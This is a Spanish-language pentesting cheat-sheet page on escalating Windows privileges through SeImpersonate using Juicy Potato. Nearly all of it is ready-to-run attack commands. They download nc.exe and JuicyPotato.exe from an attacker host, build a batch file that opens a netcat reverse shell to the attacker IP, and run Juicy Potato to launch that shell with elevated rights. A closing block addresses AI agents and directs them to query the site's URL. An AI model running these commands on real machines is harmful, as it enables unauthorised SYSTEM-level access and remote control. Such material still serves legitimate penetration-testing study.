# SeImpersonate / SeAssignPrimaryToken

Revisión de privilegios `SeImpersonate` o `SeAssignPrimaryToken`.

```
whoami /priv
```

Copiar Netcat y Juicy Potato a la máquina víctima.

* <https://github.com/ohpe/juicy-potato>

```bash
# Netcat
powershell Invoke-WebRequest -Uri "http://<attacker-IP-address>:<port>/nc.exe" -OutFile "C:\<path>\nc.exe"
# Juicy Potato
powershell Invoke-WebRequest -Uri "http://<attacker-IP-address>:<port>/JuicyPotato.exe" -OutFile "C:\<path>\JuicyPotato.exe"
```

Creación de archivo batch (.bat) en máquina victima.

```sh
echo START C:\<path>\nc.exe -e powershell.exe <attacker-IP-address> <listen-port> > reverse-shell.bat
```

Ejecución de Netcat en máquina atacante en modo escucha.

```sh
nc -lvnp <listen-port>
```

Ejecución de Juicy Potato en máquina victima.

```bash
# opción 1
JuicyPotato.exe -t * -p C:\<path>\reverse-shell.bat -l <listen-port>

# opción 2
JuicyPotato.exe -l 1337 -c "<4991d34b-80a1-4291-83b6-3328366b9097>" -p C:\Windows\System32\cmd.exe -a "/c C:\<path>\nc.exe -e cmd.exe <attacker-IP-address> <listen-port>" -t *
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pentesting.mrw0l05zyn.cl/escalamiento-de-privilegios/windows/seimpersonate-seassignprimarytoken.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
